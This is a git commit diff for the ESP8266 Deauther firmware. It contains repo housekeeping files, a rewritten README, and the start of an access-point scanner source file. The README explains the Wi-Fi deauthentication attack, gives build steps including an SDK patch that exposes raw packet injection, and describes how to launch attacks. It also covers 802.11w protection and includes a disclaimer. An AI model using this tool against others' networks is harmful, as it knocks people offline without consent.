Version 1
This commit is contained in:
parent
02d5ad0d2a
commit
a5b16bf011
|
@ -1,12 +1,33 @@
|
|||
|
||||
*.bin
|
||||
|
||||
# Object files
|
||||
*.o
|
||||
*.ko
|
||||
*.obj
|
||||
*.elf
|
||||
|
||||
*.map
|
||||
# Precompiled Headers
|
||||
*.gch
|
||||
*.pch
|
||||
|
||||
.DS_Store
|
||||
# Libraries
|
||||
*.lib
|
||||
*.a
|
||||
*.la
|
||||
*.lo
|
||||
|
||||
*.pyc
|
||||
# Shared objects (inc. Windows DLLs)
|
||||
*.dll
|
||||
*.so
|
||||
*.so.*
|
||||
*.dylib
|
||||
|
||||
utils/web_converter/css_html_js_minify/__pycache__/
|
||||
# Executables
|
||||
*.exe
|
||||
*.out
|
||||
*.app
|
||||
*.i*86
|
||||
*.x86_64
|
||||
*.hex
|
||||
|
||||
# Debug files
|
||||
*.dSYM/
|
||||
*.su
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
Please only make pull requests to the [testing branch](https://github.com/spacehuhn/esp8266_deauther/tree/testing) to avoid future conflicts.
|
||||
The `testing` branch is merged with `master` on every release.
|
||||
|
||||
**Issues** should contain a detailed description with as much information as possible!
|
||||
Also note that issues are for resolving bugs and not to solve YOUR upload error. Please read the [FAQ](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ), [README](https://github.com/spacehuhn/esp8266_deauther/blob/master/README.md) and search for similar issues before posting a new one.
|
|
@ -0,0 +1,31 @@
|
|||
Please fill the info fields, it helps to get you faster support ;)
|
||||
|
||||
If you have a Guru Meditation Error, please decode it:
|
||||
https://github.com/me-no-dev/EspExceptionDecoder
|
||||
|
||||
----------------------------- Remove above -----------------------------
|
||||
|
||||
|
||||
### Hardware/Flashing:
|
||||
Board: ?ESP8266 dev module?Tindie OLED?Wemos Mini?Other (specify)?
|
||||
Using OLED: ?YES?NO?
|
||||
Using WebServer: ?YES?NO?
|
||||
Using Serial: ?YES?NO?
|
||||
Installation mode: ?binary?source?
|
||||
Code/binary version: ?1.5?1.6?
|
||||
Flash size: ?1M/512K?
|
||||
Flash method: ?esptool?Arduino IDE?
|
||||
Flash Frequency: ?40Mhz?
|
||||
Upload Speed: ?115200?
|
||||
Powered by: ?USB?Battery?
|
||||
|
||||
### Description:
|
||||
Describe your problem here, provide as many details as possible.
|
||||
Make sure you read the FAQ first, incomplete bug reports will be CLOSED without notice.
|
||||
|
||||
What you're expecting: ---
|
||||
What you get instead: ---
|
||||
|
||||
### Debug Messages:
|
||||
```
|
||||
Put the serial output here
|
8
LICENSE
8
LICENSE
|
@ -1,8 +1,6 @@
|
|||
Do not redistribute, advertise or sell this software as a "jammer"!!!
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 Spacehuhn Technologies
|
||||
Copyright (c) 2017 Stefan Kremser
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
@ -14,10 +12,12 @@ furnished to do so, subject to the following conditions:
|
|||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
Do not redistribute, advertising or sell of this softwae as "jammer"!
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
SOFTWARE.
|
349
README.md
349
README.md
|
@ -1,115 +1,298 @@
|
|||
# ESP8266 Deauther Version 2
|
||||
# ESP8266 Deauther
|
||||
Deauthentication attack and other exploits using an ESP8266!
|
||||
|
||||
<img width="100%" alt="esp8266 deauther with smartphone" src="screenshots/smartphone_and_deauther.jpg">
|
||||
|
||||
<p align="center">
|
||||
<img alt="PICTURE logo" src="https://raw.githubusercontent.com/wiki/spacehuhn/esp8266_deauther/img/deauther_logo.png" width="200">
|
||||
<br>
|
||||
<b>Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners!</b>
|
||||
<br>
|
||||
<br>
|
||||
🐦 <a href="https://twitter.com/spacehuhn">Twitter</a>
|
||||
| 📺 <a href="https://www.youtube.com/channel/UCFmjA6dnjv-phqrFACyI8tw">YouTube</a>
|
||||
| 🌍 <a href="https://spacehuhn.de">spacehuhn.de</a><br/>
|
||||
<br />
|
||||
<b>Support me and my projects by purchasing one of the <a href="https://github.com/spacehuhn/esp8266_deauther/#supported-devices">official deauther boards</a>.<br/>Or become my patron on <a href="https://patreon.com/spacehuhn" target="_blank">patreon.com/spacehuhn</a>.</b>
|
||||
</p>
|
||||
|
||||
## Difference to Version 3
|
||||
## Contents
|
||||
- [Introduction](#introduction)
|
||||
- [What it is and how it works](#what-it-is-and-how-it-works)
|
||||
- [How to protect yourself against it](#how-to-protect-yourself-against-it)
|
||||
- [Disclaimer](#disclaimer)
|
||||
- [Supported Devices](#supported-devices)
|
||||
- [Installation](#installation)
|
||||
- [Uploading the bin files](#uploading-the-bin-files)
|
||||
- [Compiling the source with Arduino](#compiling-the-source-with-arduino)
|
||||
- [Adding an OLED display](#adding-an-oled-display)
|
||||
- [How to use it](#how-to-use-it)
|
||||
- [FAQ](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ)
|
||||
- [License](#license)
|
||||
- [Sources and additional links](#sources-and-additional-links)
|
||||
- [Custom Design Versions](#custom-design-versions)
|
||||
- [Videos](#videos)
|
||||
- [Sources](#sources)
|
||||
|
||||
[Version 3](https://github.com/SpacehuhnTech/esp8266_deauther/tree/v3) is in development. It is stable to use, but it is very different.
|
||||
It is command line based, which allows it to offer not just more features, but make them more customizable.
|
||||
## Introduction
|
||||
|
||||
| Feature | Version 2 | Version 3 |
|
||||
| ------- | --------- | --------- |
|
||||
| Web Interface | ✅ | |
|
||||
| Display support | ✅ | |
|
||||
| Serial Command Line | ✅ | ✅ |
|
||||
| Scanner | ✅ | ✅ |
|
||||
| Deauth attack | ✅ | ✅ |
|
||||
| Beacon attack | ✅ | ✅ |
|
||||
| Probe attack | ✅ | ✅ |
|
||||
| [Huhnitor](https://github.com/spacehuhntech/huhnitor) support | | ✅ |
|
||||
| Signal strength scanner | | ✅ |
|
||||
| Authentication scanner | | ✅ |
|
||||
| Rogue AP | | ✅ |
|
||||
### What it is and how it works
|
||||
|
||||
## Installation
|
||||
This software allows you to perform a [deauth attack](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) with an ESP8266 against selected networks.
|
||||
The [ESP8266](https://en.wikipedia.org/wiki/ESP8266) is a cheap and easy to use Wi-Fi SoC (System-on-a-Chip), programmable with the [Arduino IDE](https://www.arduino.cc/en/Main/Software).
|
||||
With this software flashed onto it, you can select a target network and start different attacks.
|
||||
|
||||
Please refer to the [installation guide in our wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki/Installation).
|
||||
If you're just looking for the .bin files, go to [releases](https://github.com/spacehuhn/esp8266_deauther/releases).
|
||||
The deauth attack will, if the connection is vulnerable, disconnect the devices from the network. Because the attack is running constantly, the devices will be disconnected again and again. Depending on the network, that can either block a connection or slow it down.
|
||||
|
||||
## About this project
|
||||
This software allows you to easily perform a variety of actions to test 802.11 wireless networks by using an inexpensive ESP8266 WiFi SoC (System On A Chip).
|
||||
**The difference between deauthing and jamming:** [WiFi Jammers vs Deauthers | What's The Difference?](https://www.youtube.com/watch?v=6m2vY2HXU60)
|
||||
|
||||
The main feature, the deauthentication attack, is used to disconnect devices from their WiFi network.
|
||||
No one seems to care about this huge vulnerability in the official 802.11 WiFi standard, so I took action and enabled everyone who has less than 10 USD to spare to recreate this project.
|
||||
I hope it raises more attention on the issue. In 2009 the WiFi Alliance actually fixed the problem (see [802.11w](https://en.wikipedia.org/wiki/IEEE_802.11w-2009)), but only a few companies implemented it into their devices and software.
|
||||
To effectively prevent a deauthentication attack, both client and access point must support the 802.11w standard with protected management frames (PMF).
|
||||
While most client devices seem to support it when the access point forces it, basically no WiFi access point has it enabled.
|
||||
Other attacks also have been implemented, such as beacon and probe request flooding.
|
||||
|
||||
Feel free to test your hardware out, annoy these companies with the problem, share this project and push for a fix!
|
||||
This project is also a great way to learn more about WiFi, micro controllers, Arduino, hacking and electronics/programming in general.
|
||||
**But please use this tool responsibly and do not use it against others without their permission!**
|
||||
The deauth attack works by exploiting an old and known vulnerability in the 802.11 Wi-Fi protocol.
|
||||
Because these [deauthentication frames](https://mrncciew.com/2014/10/11/802-11-mgmt-deauth-disassociation-frames/), usually used to close a Wi-Fi connection safely, are unencrypted, it's very easy to spoof them. You only need the mac address of the access point, which you can sniff easily.
|
||||
If you don't want to attack all connected devices, you can also scan for connections and attack them specifically.
|
||||
|
||||
## WiFi Jammer
|
||||
**Is deauthing legal?** [WiFi Jammers/Deauthers | Legal?](https://www.youtube.com/watch?v=IromynQ1srI)
|
||||
|
||||
Many refer to this project as a WiFi jammer. This is problematic, because this firmware is **not** turning your ESP8266 into a radio or frequency jammer. But this is how most people imagine it without further explaination.
|
||||
### How to protect yourself against it
|
||||
|
||||
So if you like to learn more about the difference, we made a whole video about it:
|
||||
[![Deauther or Jammer: What's the difference?](https://img.youtube.com/vi/gOyfD44A7rE/0.jpg)](https://www.youtube.com/watch?v=gOyfD44A7rE)
|
||||
With [802.11w-2009](https://en.wikipedia.org/wiki/IEEE_802.11w-2009) the Wi-Fi protocol became encrypted management (and deauthentication) frames. This makes spoofing these packets way harder and the attack, in this form, ineffective.
|
||||
So make sure your router is up to date and has management frame protection enabled. Your client device (e.g your phone, notebook etc.) needs to support that too. Both ends of the connection need to use it!
|
||||
|
||||
## Supported Development Boards
|
||||
The problem with that is, most routers use unencrypted managment frames by default, don't provide any option to change that and don't provide any information about this issue.
|
||||
I tested several networks and couldn't find one that wasn't vulnerable!
|
||||
|
||||
This firmware can run on any **ESP8266**, not however on the ESP32!
|
||||
The most popular development boards, the `NodeMCU` and `Wemos d1 mini`, work great for this project.
|
||||
|
||||
If you like to support our work, you can buy get a boards made with this project in mind.
|
||||
They come preflashed with the firmware, so you can start right away.
|
||||
You can chose between:
|
||||
|
||||
**[Spacehuhn Store](https://spacehuhn.store)**:
|
||||
Our very own store where all revenue goes directly to us and towards the development of new and exciting projects :)
|
||||
We manufacture and ship from Germany.
|
||||
|
||||
**[Maltronics](https://maltronics.com/)**:
|
||||
We partnered with Maltronics to bring you high quality hacking gadgets.
|
||||
They are based in the UK.
|
||||
|
||||
**[DSTIKE](https://dstike.com/)**:
|
||||
DSTIKE was our first partner. They manufactured the first official deauther boards.
|
||||
They offer a wide range of deauthers in a variety of form factors, including a smart watch.
|
||||
They are based in China, but their products are available through a variety of stores:
|
||||
- [Tindie](https://tindie.com/stores/lspoplove)
|
||||
- [AliExpress](https://dstike.aliexpress.com/store/2996024)
|
||||
- [Taobao](https://shop135375846.taobao.com)
|
||||
I made a [Deauth Detector](https://github.com/spacehuhn/DeauthDetector) using the same ESP8266 to indicate high amounts of deauth frames. It can't protect you, but it can help you figure out if and when an attack is going on.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This project is a proof of concept for testing and educational purposes.
|
||||
Neither the ESP8266, nor its SDK was meant or built for such purposes. Bugs can occur!
|
||||
**This project is a proof of concept for testing and educational purposes.**
|
||||
Neither the ESP8266, nor its SDK was meant or build for such purposes.
|
||||
Bugs can occur!
|
||||
|
||||
Use it only against your own networks and devices!
|
||||
I don't take any responsibility for what you do with this program.
|
||||
|
||||
Please check the legal regulations in your country before using it.
|
||||
We don't take any responsibility for what you do with this program.
|
||||
**It is not a frequency jammer as claimed falsely by many people.** Its attack, how it works and how to protect against it is described above. It uses valid Wi-Fi frames described in the official 802.11 standard and doesn't block or disrupt any frequencies.
|
||||
|
||||
## Acknowledgements
|
||||
My intention with this project is to draw more attention on this issue.
|
||||
This attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed.
|
||||
**A solution is already there, why don't we use it?**
|
||||
|
||||
A huge thanks to:
|
||||
Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!
|
||||
|
||||
- [@deantonious](http://github.com/deantonious)
|
||||
- [@jLynx](https://github.com/jLynx)
|
||||
- [@lspoplove](https://github.com/lspoplove)
|
||||
- [@schinfo](https://github.com/schinfo)
|
||||
- [@tobozo](https://github.com/tobozo)
|
||||
- [@xdavidhu](https://github.com/xdavidhu)
|
||||
- [@PwnKitteh](https://github.com/PwnKitteh)
|
||||
## Supported Devices
|
||||
|
||||
for helping out with various things regarding this project and keeping it alive!
|
||||
Also thanks to everyone working on the libraries used for this project:
|
||||
**You can flash this software yourself onto any ESP8266**, but if you would like to support me, you can get one of the DSTIKE development boards that are made for this project and come with everything preinstalled!
|
||||
Here is the link to Travis Lin's shop who makes them:
|
||||
- [AliExpress](https://dstike.aliexpress.com/store/2996024)
|
||||
- [Tindie](https://tindie.com/stores/lspoplove)
|
||||
- [Taobao](https://shop135375846.taobao.com)
|
||||
|
||||
## Installation
|
||||
|
||||
- [esp8266-oled-ssd1306](https://github.com/ThingPulse/esp8266-oled-ssd1306)
|
||||
- [ArduinoJson](https://github.com/bblanchon/ArduinoJson)
|
||||
- [Adafruit_DotStar](https://github.com/adafruit/Adafruit_DotStar)
|
||||
- [Adafruit_NeoPixel](https://github.com/adafruit/Adafruit_NeoPixel)
|
||||
- [DS3231](https://github.com/NorthernWidget/DS3231)
|
||||
- [my92xx](https://github.com/xoseperez/my92xx)
|
||||
You have 2 choices here. Uploading the .bin files is easier, but not as good for debugging.
|
||||
**YOU ONLY NEED TO DO ONE OF THE INSTALLATION METHODS!**
|
||||
|
||||
We also thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online!
|
||||
### Uploading the bin files
|
||||
|
||||
**0** Download the current release from [releases](https://github.com/spacehuhn/esp8266_deauther/releases)
|
||||
|
||||
Always use the 1mb version, unless you're sure that your ESP8266 only has 512kb flash memory.
|
||||
**Note:** the 512kb version won't have the full mac vendors list.
|
||||
|
||||
**1** Upload using the ESP8266 flash tool of your choice:
|
||||
- [nodemcu-flasher](https://github.com/nodemcu/nodemcu-flasher) [Windows only]
|
||||
- [esptool-gui](https://github.com/Rodmg/esptool-gui) [Windows, MacOS]
|
||||
- [esptool](https://github.com/espressif/esptool) [Windows, MacOS, Linux]
|
||||
|
||||
**That's all!**
|
||||
|
||||
Make sure your settings are correct for your board. Most boards come with 4mb flash and sometimes you have to hold the flash button down while plugging it in and hold it until the flashing process started.
|
||||
|
||||
Also make sure you select the right com-port, the right upload size (mostly 4mb) and the correct .bin file.
|
||||
|
||||
If it's not working, you can try using the Arduino as descriped below.
|
||||
|
||||
### Compiling the source with Arduino
|
||||
|
||||
**0** Download the source code of this project.
|
||||
|
||||
**1** Install [Arduino](https://www.arduino.cc/en/Main/Software) and open it.
|
||||
|
||||
**2** Go to `File` > `Preferences`
|
||||
|
||||
**3** Add `http://arduino.esp8266.com/stable/package_esp8266com_index.json` to the Additional Boards Manager URLs. (source: https://github.com/esp8266/Arduino)
|
||||
|
||||
**4** Go to `Tools` > `Board` > `Boards Manager`
|
||||
|
||||
**5** Type in `esp8266`
|
||||
|
||||
**6** Select version `2.0.0` and click on `Install` (**must be version 2.0.0!**)
|
||||
|
||||
![screenshot of arduino, selecting the right version](screenshots/arduino_screenshot_1.JPG)
|
||||
|
||||
**7** Go to `File` > `Preferences`
|
||||
|
||||
**8** Open the folder path under `More preferences can be edited directly in the file`
|
||||
|
||||
![screenshot of arduino, opening folder path](screenshots/arduino_screenshot_2.JPG)
|
||||
|
||||
**9** Go to `packages` > `esp8266` > `hardware` > `esp8266` > `2.0.0` > `tools` > `sdk` > `include`
|
||||
|
||||
**10** Open `user_interface.h` with a text editor
|
||||
|
||||
**11** Scroll down and before `#endif` add following lines:
|
||||
|
||||
```
|
||||
typedef void (*freedom_outside_cb_t)(uint8 status);
|
||||
int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
|
||||
void wifi_unregister_send_pkt_freedom_cb(void);
|
||||
int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
|
||||
```
|
||||
|
||||
![screenshot of notepad, copy paste the right code](screenshots/notepad_screenshot_1.JPG)
|
||||
|
||||
**don't forget to save!**
|
||||
|
||||
**12** Go to the SDK_fix folder of this project
|
||||
|
||||
**13** Copy ESP8266Wi-Fi.cpp and ESP8266Wi-Fi.h
|
||||
|
||||
**14** Paste these files here `packages` > `esp8266` > `hardware` > `esp8266` > `2.0.0` > `libraries` > `ESP8266WiFi` > `src`
|
||||
|
||||
**15** Open `esp8266_deauther` > `esp8266_deauther.ino` in Arduino
|
||||
|
||||
**16** Select your ESP8266 board at `Tools` > `Board` and the right port at `Tools` > `Port`
|
||||
If no port shows up you may have to reinstall the drivers.
|
||||
|
||||
**17** Depending on your board you may have to adjust the `Tools` > `Board` > `Flash Frequency` and the `Tools` > `Board` > `Flash Size`. I use a `160MHz` flash frequency and a `4M (3M SPIFFS)` flash size.
|
||||
|
||||
**18** Upload!
|
||||
|
||||
**19** Install the [ESP8266 Sketh Data uploader](https://github.com/esp8266/arduino-esp8266fs-plugin) plugin, your mileage may vary depending on your version of Arduino IDE.
|
||||
|
||||
**20** Restart Arduino IDE, reopen the project, and from the "tools" menu, choose "ESP8266 Sketch Data Upload".
|
||||
|
||||
|
||||
**Note:** If you use a 512kb version of the ESP8266, you will need to comment out a part of the mac vendor list in data.h. Otherwise it will use too much memory to fit on 512kb.
|
||||
|
||||
**Your ESP8266 Deauther is now ready!**
|
||||
|
||||
|
||||
### Updating the MAC vendor list
|
||||
The utils folder includes a python script for downloading the latest ["manuf"](https://code.wireshark.org/review/gitweb?p=wireshark.git;a=blob_plain;f=manuf) file from Whireshark and convert it to the format understood by esp8266_deauther.
|
||||
|
||||
The usage of the script is quite simple: `update_manuf.py [-h] [-o OUTPUT] [-u URL]` , e.g:
|
||||
```
|
||||
cd utils
|
||||
python update_manuf.py -o ../esp8266_deauther/oui.h
|
||||
```
|
||||
|
||||
### Adding an OLED display
|
||||
|
||||
![image of the esp8266 deauther with an OLED and three buttons](screenshots/esp8266_with_oled.jpg)
|
||||
|
||||
I included 2 extra .bin files for the display version on the release page.
|
||||
One for the 0.96" SSD1306 OLED and one for the 1.3" SH1106 OLED.
|
||||
|
||||
| Display | ESP8266 |
|
||||
| ------- | ------- |
|
||||
| SDA | 5 (D1) |
|
||||
| SCL | 4 (D2) |
|
||||
| GND | GND |
|
||||
| VCC | VCC (3.3V) |
|
||||
|
||||
The buttons have to be between following pins and GND:
|
||||
|
||||
| Button | ESP8266 |
|
||||
| ------ | ------- |
|
||||
| up | 12 (D6) |
|
||||
| down | 13 (D7) |
|
||||
| select | 14 (D5) |
|
||||
|
||||
|
||||
If you use Arduino, you have will need to install this library: https://github.com/squix78/esp8266-oled-ssd1306.
|
||||
Then you only need to uncomment `//#define USE_DISPLAY` in the beginning of the sketch.
|
||||
Below that, you can customize the settings:
|
||||
|
||||
```
|
||||
//create display(Adr, SDA-pin, SCL-pin)
|
||||
SSD1306 display(0x3c, 5, 4); //GPIO 5 = D1, GPIO 4 = D2
|
||||
//SH1106 display(0x3c, 5, 4);
|
||||
|
||||
//button pins
|
||||
#define upBtn 12 //GPIO 12 = D6
|
||||
#define downBtn 13 //GPIO 13 = D7
|
||||
#define selectBtn 14 //GPIO 14 = D5
|
||||
#define displayBtn 0 //GPIO 0 = FLASH BUTTON
|
||||
```
|
||||
|
||||
## How to use it
|
||||
|
||||
First start your ESP8266 by plugging it in and giving it power.
|
||||
|
||||
Scan for Wi-Fi networks and connect to `pwned`. The password is `deauther`.
|
||||
Once connected, you can open up your browser and go to `192.168.4.1`.
|
||||
|
||||
You can now scan for networks...
|
||||
![webinterface AP scanner](screenshots/web_screenshot_1.JPG)
|
||||
|
||||
scan for client devices...
|
||||
![webinterface client scanner](screenshots/web_screenshot_2.JPG)
|
||||
|
||||
Note: While scanning the ESP8266 will shut down its access point, so you may have to go to your settings and reconnect to the Wi-Fi network manually!
|
||||
|
||||
...and start different attacks.
|
||||
![webinterface attack menu](screenshots/web_screenshot_3.JPG)
|
||||
|
||||
For more information please read the [FAQ](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ).
|
||||
|
||||
## License
|
||||
|
||||
This software is licensed under the MIT License. See the [license file](LICENSE) for details.
|
||||
|
||||
## Sources and additional links
|
||||
|
||||
### Custom Design Versions
|
||||
|
||||
![Screenshot of 'Wi-PWN'](https://raw.githubusercontent.com/samdenty99/Wi-PWN/master/pictures/secondary-banner.png)
|
||||
[Wi-PWN](https://github.com/samdenty99/Wi-PWN) - By [@samdenty99](https://github.com/samdenty99)
|
||||
|
||||
![Screenshot of 'Modern and Consistent'](https://raw.githubusercontent.com/Wandmalfarbe/esp8266_deauther/master/screenshots/web_screenshot_1.png)
|
||||
[Modern and Consistent](https://github.com/Wandmalfarbe/esp8266_deauther) - By [@Wandmalfarbe](https://github.com/Wandmalfarbe)
|
||||
|
||||
<img height="400" alt="Screenshot of DeAutherDroid App" src="https://raw.githubusercontent.com/ExploiTR/DeAutherDroid/master/screenshots/device-2017-08-13-143401.png">
|
||||
|
||||
[DeAutherDroid Android APP](https://github.com/ExploiTR/DeAutherDroid) - By [@ExploiTR](https://github.com/ExploiTR)
|
||||
|
||||
### Videos
|
||||
|
||||
[![Explaining WFi Deauthing and Jammers (And the problem with 802.11)](https://img.youtube.com/vi/GUZyCV5c1SY/0.jpg)](https://www.youtube.com/watch?v=GUZyCV5c1SY)
|
||||
|
||||
[![Cheap Wi-Fi 'Jammer' Device | NodeMCU](https://img.youtube.com/vi/oQQhBdCQOTM/0.jpg)](https://www.youtube.com/watch?v=oQQhBdCQOTM)
|
||||
|
||||
[![Wifi 'Jammer' Device V1.1 | Setup Tutorial](https://img.youtube.com/vi/r5aoV5AolNo/0.jpg)](https://www.youtube.com/watch?v=r5aoV5AolNo)
|
||||
|
||||
[![WiFi Tutorial "Deauthing Made Simple"](https://img.youtube.com/vi/SswI-J-M2SE/0.jpg)](https://www.youtube.com/watch?v=SswI-J-M2SE)
|
||||
|
||||
[![Seguridad Inalámbrica | Explicación de Wifi Deauther en Español](https://img.youtube.com/vi/YYsSDXRgD10/0.jpg)](https://www.youtube.com/watch?v=YYsSDXRgD10)
|
||||
|
||||
[![WiFi Jammers/Deauthers | Legal?](https://img.youtube.com/vi/IromynQ1srI/0.jpg)](https://www.youtube.com/watch?v=IromynQ1srI)
|
||||
|
||||
[![WiFi Jammers vs Deauthers | What's The Difference?](https://img.youtube.com/vi/6m2vY2HXU60/0.jpg)](https://www.youtube.com/watch?v=6m2vY2HXU60)
|
||||
|
||||
### Sources
|
||||
|
||||
deauth attack: https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack
|
||||
|
||||
deauth frame: https://mrncciew.com/2014/10/11/802-11-mgmt-deauth-disassociation-frames/
|
||||
|
||||
ESP8266:
|
||||
* https://en.wikipedia.org/wiki/ESP8266
|
||||
* https://espressif.com/en/products/hardware/esp8266ex/overview
|
||||
|
||||
packet injection with ESP8266:
|
||||
* http://hackaday.com/2016/01/14/inject-packets-with-an-esp8266/
|
||||
* http://bbs.espressif.com/viewtopic.php?f=7&t=1357
|
||||
* https://github.com/pulkin/esp8266-injection-example
|
||||
|
||||
802.11w-2009: https://en.wikipedia.org/wiki/IEEE_802.11w-2009
|
||||
|
||||
Wi-Fi_send_pkt_freedom function limitations: https://esp32.com/viewtopic.php?t=586
|
||||
|
|
|
@ -0,0 +1,314 @@
|
|||
#include "APScan.h"
|
||||
|
||||
APScan::APScan() {
|
||||
|
||||
}
|
||||
|
||||
bool APScan::start() {
|
||||
if (debug) {
|
||||
Serial.println("starting AP scan...");
|
||||
Serial.println("MAC - Ch - RSSI - Encrypt. - SSID - Hidden");// - Vendor");
|
||||
}
|
||||
aps._clear();
|
||||
results = 0;
|
||||
for (int i = 0; i < maxAPScanResults; i++){
|
||||
selected[i] = false;
|
||||
String("").toCharArray(names[i], 33);
|
||||
}
|
||||
results = WiFi.scanNetworks(false, settings.apScanHidden); // lets scanNetworks return hidden APs. (async = false & show_hidden = true)
|
||||
if(results > maxAPScanResults) results = maxAPScanResults;
|
||||
|
||||
if (debug) Serial.println("Scan results: "+(String)results);
|
||||
|
||||
for (int i = 0; i < results && i < maxAPScanResults; i++) {
|
||||
Mac _ap;
|
||||
_ap.set(WiFi.BSSID(i)[0], WiFi.BSSID(i)[1], WiFi.BSSID(i)[2], WiFi.BSSID(i)[3], WiFi.BSSID(i)[4], WiFi.BSSID(i)[5]);
|
||||
aps.add(_ap);
|
||||
channels[i] = WiFi.channel(i);
|
||||
rssi[i] = WiFi.RSSI(i);
|
||||
encryption[i] = WiFi.encryptionType(i);
|
||||
hidden[i] = WiFi.isHidden(i);
|
||||
String _ssid = WiFi.SSID(i);
|
||||
_ssid.toCharArray(names[i], 33);
|
||||
//data_getVendor(WiFi.BSSID(i)[0],WiFi.BSSID(i)[1],WiFi.BSSID(i)[2]).toCharArray(vendors[i],9);
|
||||
if (debug) {
|
||||
Serial.print((String)i);
|
||||
Serial.print(" - ");
|
||||
_ap._print();
|
||||
Serial.print(" - ");
|
||||
Serial.print(channels[i]);
|
||||
Serial.print(" - ");
|
||||
Serial.print(rssi[i]);
|
||||
Serial.print(" - ");
|
||||
Serial.print(getEncryption(encryption[i]));
|
||||
Serial.print(" - ");
|
||||
Serial.print(names[i]);
|
||||
Serial.print(" - ");
|
||||
Serial.print(hidden[i]);
|
||||
//Serial.print(" - ");
|
||||
//Serial.print(vendors[i]);
|
||||
Serial.println();
|
||||
}
|
||||
}
|
||||
|
||||
//for debugging the APScan crash bug
|
||||
/*
|
||||
if(debug){
|
||||
for(int i=results;i<maxAPScanResults;i++){
|
||||
Mac _ap;
|
||||
_ap.set(random(255),random(255),random(255),random(255),random(255),random(255));
|
||||
aps.add(_ap);
|
||||
channels[i] = random(1,12);
|
||||
rssi[i] = random(-30,-90);
|
||||
encryption[i] = ENC_TYPE_NONE;
|
||||
String _ssid = "test_dbeJwq3tPtJsuWtgULgShD9dxXV";
|
||||
_ssid.toCharArray(names[i],33);
|
||||
|
||||
Serial.print((String)i);
|
||||
Serial.print(" - ");
|
||||
_ap._print();
|
||||
Serial.print(" - ");
|
||||
Serial.print(channels[i]);
|
||||
Serial.print(" - ");
|
||||
Serial.print(rssi[i]);
|
||||
Serial.print(" - ");
|
||||
Serial.print(getEncryption(encryption[i]));
|
||||
Serial.print(" - ");
|
||||
Serial.print(names[i]);
|
||||
Serial.println();
|
||||
|
||||
results++;
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
if (debug) Serial.println("scan done");
|
||||
return true;
|
||||
}
|
||||
|
||||
String APScan::getEncryption(int code) {
|
||||
switch (code) {
|
||||
case ENC_TYPE_NONE:
|
||||
return "none";
|
||||
break;
|
||||
case ENC_TYPE_WEP:
|
||||
return "WEP";
|
||||
break;
|
||||
case ENC_TYPE_TKIP:
|
||||
return "WPA";
|
||||
break;
|
||||
case ENC_TYPE_CCMP:
|
||||
return "WPA2";
|
||||
break;
|
||||
case ENC_TYPE_AUTO:
|
||||
return "WPA*";
|
||||
break;
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
String APScan::getAPName(int num) {
|
||||
//if (isHidden(num)) return "* Hidden SSID *";
|
||||
return names[num];
|
||||
}
|
||||
String APScan::getAPEncryption(int num) {
|
||||
return getEncryption(encryption[num]);
|
||||
}
|
||||
//String APScan::getAPVendor(int num){ return vendors[num]; }
|
||||
String APScan::getAPMac(int num) {
|
||||
return aps._get(num).toString();
|
||||
}
|
||||
bool APScan::isHidden(int num) {
|
||||
return hidden[num];
|
||||
}
|
||||
int APScan::getAPRSSI(int num) {
|
||||
return rssi[num];
|
||||
}
|
||||
int APScan::getAPChannel(int num) {
|
||||
return channels[num];
|
||||
}
|
||||
|
||||
int APScan::getFirstTarget() {
|
||||
for (int i = 0; i < maxAPScanResults; i++) {
|
||||
if (isSelected(i)) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
String APScan::sanitizeJson(String input){
|
||||
input.replace("\\","\\\\");
|
||||
input.replace("\"","\\\"");
|
||||
input.replace("/","\\/");
|
||||
input.replace("\b","\\b");
|
||||
input.replace("\f","\\f");
|
||||
input.replace("\n","\\n");
|
||||
input.replace("\r","\\r");
|
||||
input.replace("\t","\\t");
|
||||
return input;
|
||||
}
|
||||
|
||||
void APScan::sendResults() {
|
||||
if (debug) Serial.print("sending AP scan result JSON ");
|
||||
|
||||
size_t _size = 25; // {"aps":[ ... ],"multiAPs":"1"}
|
||||
for (int i = 0; i < results && i < maxAPScanResults; i++) {
|
||||
/*
|
||||
_size++; // {
|
||||
_size += 5; // "i": ,
|
||||
_size += String(i).length();
|
||||
_size += 5; // "c": ,
|
||||
_size += String(getAPChannel(i)).length();
|
||||
_size += 24; // "m":"d4:21:22:da:85:f3",
|
||||
_size += 8; // "ss":" ",
|
||||
_size += getAPName(i).length();
|
||||
_size += 5; // "r": ,
|
||||
_size += String(getAPRSSI(i)).length();
|
||||
_size += 6; // "e": ,
|
||||
_size += 6; // "se":0
|
||||
_size++; // }*/
|
||||
_size += 67;
|
||||
_size += String(i).length();
|
||||
